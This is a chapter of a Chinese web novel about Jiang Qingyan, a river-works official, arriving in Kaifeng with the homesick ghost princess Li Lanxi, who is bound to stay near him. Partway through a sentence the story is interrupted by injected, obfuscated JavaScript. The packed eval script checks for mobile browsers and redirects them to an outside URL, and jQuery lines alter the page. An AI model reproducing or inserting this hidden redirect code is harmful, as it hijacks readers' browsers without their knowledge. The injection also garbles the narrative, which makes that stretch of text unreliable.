“少爷,到开封还有大概三天的车程。”
车夫老赵驾驭着马车行驶在官道上,一边估算着行进的进度。
马车里传来闷闷的“嗯”的一声,老赵便了然,他了解这个主子总是沉默寡言,看着就让人惧怕。
然而更让人瘆得慌的是,自家主子总是对着空气自言自语。
比如现在——
马车车厢里,车帘被拉开紧紧束起,李兰曦趴在车窗边,双手托腮,饶有兴趣地欣赏着窗外的美景,而江清晏坐在一边,手里拿着孟德铮赠予的《河防一览》。
李兰曦趴淡紫色的裙袂被风吹得微微拂动。
她饶有兴致地打量着窗外飞掠而过的景色。
中原大地的辽阔与苍茫,田畴阡陌,远山如黛,与京城繁华截然不同的风貌让她暂时忘却了魂体的疲惫。
一百三十七年了,这片土地的气息,让她既熟悉又陌生。
“喂,江清晏,”她忽然转过头,眼睛亮晶晶的,呲着个大牙,兴奋至极,“你看,开封离洛阳那么近!不如……你干脆顺便送我回家得了?省得等那五年之约,多麻烦!”
江清晏端坐一旁,闻言只是冷冷地扫了她一眼。
李兰曦立刻像被踩了尾巴的猫,瞬间缩回脑袋,讪讪地低下头,小声嘟囔:“……错了错了,我开玩笑的嘛……”
“坐好。”江清晏的声音毫无波澜,目光重新落回书页,“莫要动歪心思。言出必行,说到做到。记住,你能否回洛阳,何时回洛阳,取决于我,而非你的突发奇想。”
“哦……”李兰曦闷闷地应了一声,乖乖地坐直身体,双手放在膝上,只是眼角的余光还忍不住瞟向窗外那似乎越来越近的故都方向,魂体深处涌起一股难以言喻的酸涩与渴望。
十日后,开封府城巍峨的城墙终于出现在地平线上。
历经风霜的青砖在秋阳下泛着沉静的光泽,护城河水波光粼粼。
车马人流在城门处汇聚,喧嚣中透着中原重镇的沉稳气度。
开封知府苏昶早已率一众属官在城门处等候。
他年约五旬,面容清癯,身着四品云雁补服,气度儒雅中带着久居官场的圆融。
见到江清晏的马车驶近,他立刻迎上前几步,脸上堆起笑容,拱手行礼:“下官开封知府苏昶,恭迎江总督,总督一路辛苦。”
江清晏掀帘下车,同样拱手还礼,神色平静无波:“苏大人客气。清晏初来乍到,日后河工之事,还需苏大人及开封府上下鼎力相助。”
“分内之事,分内之事!”苏昶笑容更盛,侧身引路,“总督大人一路劳顿,下官已在府衙略备薄酒,为大人接风洗尘。河工要务,席间亦可详谈。”
两人并肩入城,一路寒暄。
话题自然围绕着黄河水患——历年治河得失、当前开封段河防要隘展开。
苏昶言语得体,对河务也颇为熟稔,显然下过一番功夫。
江清晏则言简意赅,点到即止,既不失礼数,也保持着新任总督应有的距离感。
李兰曦的魂体飘在江清晏身侧半步之遥,进入开封城后,她的目光便有些游离。
街道两旁,青砖灰瓦的民居,挑着幌子的商铺,操着浓重河南口音的吆喝声,空气中弥漫着胡辣汤、羊肉烩面的熟悉香气……
这一切都像一把无形的钥匙,瞬间打开了尘封百年的记忆闸门。
洛阳的街市、宫城的檐角、御花园里的牡丹香气……故乡的气息扑面而来,近在咫尺,却又远隔阴阳。
一种巨大的恍惚感攫住了她,让她几乎忘了身处何地,只是贪婪地、失神地感受着这久违的“乡音”。
魂体无意识地飘远了些,与江清晏的距离悄然拉大。
江清晏正听着苏昶介绍一处险工,忽然心有所感,脚步一顿,随即不动声色地轻咳了一声。
这声咳嗽如同惊雷在李兰曦魂识中炸响。
她猛地回神,这才惊觉自己竟已飘出近十丈远。
魂体边缘传来熟悉的、令人心悸的拉扯感,锁魂咒的束缚之力蠢蠢欲动。
她吓得魂体一颤,立刻化作一道流光,“嗖”地一声窜回江清晏身侧,紧紧贴着他,再不敢远离半分。
苏昶被江清晏这声咳嗽打断,关切地停下脚步:“江总督?可是旅途劳顿,身子不适?是否需要下官即刻唤大夫前来?”
江清晏神色如常,摆了摆手:“无妨,些许风尘入喉罢了。苏大人请继续。”
苏昶仔细打量了他几眼,见他面色无异,这才放下心来,继续引路介绍。
接风宴设在府衙后堂,气氛还算融洽。酒过三巡,河工的话题也谈得差不多了。
苏昶放下酒杯,脸上显出几分欲言又止的踌躇。
江清晏看在眼里,放下竹箸,主动开口:“苏大人似有未尽之言?但说无妨。”
苏昶搓了搓手,脸上堆起一丝略显尴尬的笑容:“这个……下官冒昧。听闻江总督此前在翰林院任职,深得孟阁老器重,更是时常出入宫禁,为太子殿下讲学……不知……不知总督大人可曾听闻四殿下近况?殿下他……玉体可还安泰?”
他问得小心翼翼,眼中却难掩关切与忧虑。
四皇子朱晟栩是他的亲外孙,自调任知府一别,音讯隔绝,做外公的如何能不忧心?
江清晏心中了然。
他端起茶杯,慢条斯理地啜了一口,掩去眼底一闪而过的思量。
苏昶此问,既是亲情流露,也未尝不是一种试探,想从他这个“天子近臣”口中探听些宫闱秘辛。
“苏大人言重了。”江清晏放下茶杯,语气平淡无波,“清晏在翰林院时,不过一介修撰、侍读,职责所在无非修史讲经。宫禁森严,皇子玉体安康与否,岂是外臣所能轻易窥探?至于四殿下……”
他微微一顿,语气带上几分恰到好处的疏离与谨慎:“天潢贵胄,自有太医圣心眷顾,想必……一切安好。我等外臣,实不敢妄加揣测。”
他这番话滴水不漏,既点明了自己身份低微,无从知晓内情,又暗示了皇家之事不可妄议,更将“安好”二字说得模棱两可,全无实质信息。
苏昶闻言,眼中希冀的光芒黯淡下去,脸上掠过一丝失望,随即又强打起精神,挤出笑容:“是是是,总督大人所言极是。是下官思虑不周,失言了,失言了。殿下吉人天相,自有上天庇佑。”
他端起酒杯,岔开话题:“来来来,总督大人,下官再敬您一杯,预祝大人此次治河,功在千秋!”
宴席在略显沉闷的气氛中结束。
苏昶亲自将江清晏送至早已安排好的官邸——一座清幽雅致的独立院落。
夜幕低垂,官邸内灯火次第亮起。
仆役们手脚麻利地将江清晏的行装安置妥当后,便恭敬地退下。
偌大的院落,只剩下江清晏一人。
以及他身边那道无形的影子。
江清晏并未立刻歇息,他负手立于庭院中,望着天边一弯新月。
夜风带着秋凉,拂过庭中几株榕树,暗香浮动。
“自入开封城,你便心不在焉。”他忽然开口,声音在寂静的庭院中格外清晰,打破了夜的宁静,“魂不守舍,连十丈之距都险些忘了。李兰曦,你到底怎么了?”
一直沉默飘在他身侧的李兰曦,魂体微微一颤。
她缓缓显形,月光穿透她半透明的身体,在地上投下淡淡的虚影。她
抬起头,望向洛阳的方向,眼中是浓得化不开的迷茫与哀伤。
“我……”她的声音有些飘忽,带着一丝不易察觉的哽咽,“这里……离洛阳太近了。近得……我能闻到风里故土的味道,能听到街巷里似曾相识的乡音……这里的一切,都让我觉得熟悉,却又无比陌生。”
她转过身,看向江清晏,月光下,她魂体边缘似乎有细微的光点在无声逸散,如同无声的泪。
“熟悉的是,这街巷的格局,这青砖灰瓦,这市井的烟火气,甚至……连那胡辣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292445|177382||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
汤的辛辣香气,都和我记忆里洛阳城西市的味道一模一样……陌生的是……”她的声音低了下去,带着无尽的悲凉,“这里不是洛阳。我的家,我的父皇母后,我的皇兄……都不在这里……”
她飘近一步,眼中充满了挣扎与渴望:“江清晏,你知道吗?站在这里,我甚至能感觉到洛阳城的方向……”
李兰曦伸出一根手指:“它就在那里!那么近!近得好像我只要穿过这片夜色,就能回到我魂牵梦萦的地方!
“可是……可是我却不能回去……明明故乡就在眼前,我却只能眼睁睁看着,连靠近一步都做不到……”
压抑了一路的情绪,如同决堤的洪水,汹涌而出。
百年的孤寂,亡国的痛楚,近乡情怯的煎熬,在这一刻彻底爆发。
她的魂体剧烈地波动着,散发出浓烈的悲伤与不甘。
江清晏静静地听着,看着她魂体因激动而明灭不定。
他并未打断,也未出言安抚。
直到她的控诉告一段落,气息稍平,他才缓缓开口,声音低沉而平稳,带着一种洞悉一切的穿透力:“所以,你这一路的恍惚,入城时的失神,甚至方才险些触动锁魂咒的远离……都是因为,你觉得开封离洛阳近了,你的‘五年之约’,或许可以提前兑现了?”
李兰曦猛地抬头,对上他的目光,眼中闪过一丝被戳中心事的慌乱,随即又被倔强取代:“是又如何?难道不应该吗?你答应过我的!五年之后送我回洛阳!现在机会就在眼前!为什么不能……”
“不能。”江清晏斩钉截铁地打断她,语气不容置疑,“李兰曦,收起你那些不切实际的幻想。我江清晏言出必行,承诺之事,绝不食言。但何时兑现,如何兑现,由我决定,而非你一时兴起,更非因地利之便。”
他向前一步,无形的压迫感笼罩着李兰曦:“你方才那番话,与其说是思乡情切,不如说是心浮气躁,急于求成。”
“你害怕了,对吗?害怕这五年之约横生枝节,害怕我最终无法兑现承诺,所以想抓住一切看似近在咫尺的机会。”
李兰曦被他看得魂体发冷,下意识地后退了半步,嘴唇翕动,却无法反驳。
他说的……没错。
开封的临近,像一根导火索,点燃了她心底积压百年的焦灼和对未来的巨大恐惧。她太想回去了,以至于乱了方寸。
“记住你的身份,也记住你我的承诺。”江清晏的声音缓和了些许,“五年,一天都不会少,但也一天都不会多。在这期间,做好你该做的事。开封之行,河工是表象,暗流涌动才是真章。我需要你的眼睛,你的耳朵,而非一个被乡愁冲昏头脑的累赘。”
他顿了顿,目光扫过她依旧带着委屈和不甘的脸:“至于洛阳……它就在那里,一百三十七年都等了,还差这五年吗?安心待在我身边,五年之后,我自会亲手送你归乡。这,是我江清晏给你的承诺。”
夜风吹过庭院,桂树的枝叶沙沙作响,暗香浮动。
李兰曦怔怔地看着他。
月光下,他挺拔的身影仿佛一座沉默的山岳,给人心安的沉稳力量。
他那句“亲手送你归乡”,像一颗投入心湖的石子,激起了层层涟漪,驱散了方才的狂躁与不安。
是啊,一百三十七年都等了……还差这五年吗?
她飘零太久,以至于一个靠近故乡的契机,就让她方寸大乱。
而他,始终是那个冷静到近乎冷酷的掌舵者。
她深吸一口气,魂体渐渐稳定下来,眼中的不甘与委屈慢慢褪去。
“我……知道了。”她低声应道,声音有些沙哑,“我会……安分的。”
江清晏看了她片刻,微微颔首:“明白就好。夜深了,歇息吧。”
他不再多言,转身走向卧房。
李兰曦的魂体在原地停留了片刻,望着他消失在门后的背影,又抬头望了望天边那轮清冷的月亮,最终化作一缕轻烟,无声地融入官邸的夜色之中。